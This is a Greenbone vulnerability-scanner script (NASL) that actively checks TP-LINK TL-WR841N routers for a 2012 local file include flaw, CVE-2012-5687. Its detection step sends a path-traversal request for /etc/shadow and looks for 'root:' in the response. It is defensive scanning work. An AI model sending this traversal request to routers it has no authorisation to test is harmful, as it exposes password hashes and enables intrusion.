TP-LINK TL-WR841N Router LFI Vulnerability (Oct 2012) - Active Check

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103600");
  script_version("2023-05-17T09:09:49+0000");
  script_tag(name:"last_modification", value:"2023-05-17 09:09:49 +0000 (Wed, 17 May 2023)");
  script_tag(name:"creation_date", value:"2012-10-30 11:42:36 +0100 (Tue, 30 Oct 2012)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");

  script_cve_id("CVE-2012-5687");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("TP-LINK TL-WR841N Router LFI Vulnerability (Oct 2012) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("WR841N/banner");

  script_tag(name:"summary", value:"TP-LINK TL-WR841N router is prone to a local file include (LFI)
  vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view files and
  execute local scripts in the context of the affected device. This may aid in further attacks.");

  script_tag(name:"affected", value:"TP-LINK TL-WR841N version 3.13.9 Build 120201 Rel.54965n and
  probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/56320");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

banner = http_get_remote_headers(port: port);
if (!banner || "WR841N" >!< banner)
  exit(0);

url = "/help/../../../../../../../../../../../../../../../../../../etc/shadow";

if (http_vuln_check(port: port, url: url,pattern: "root:")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);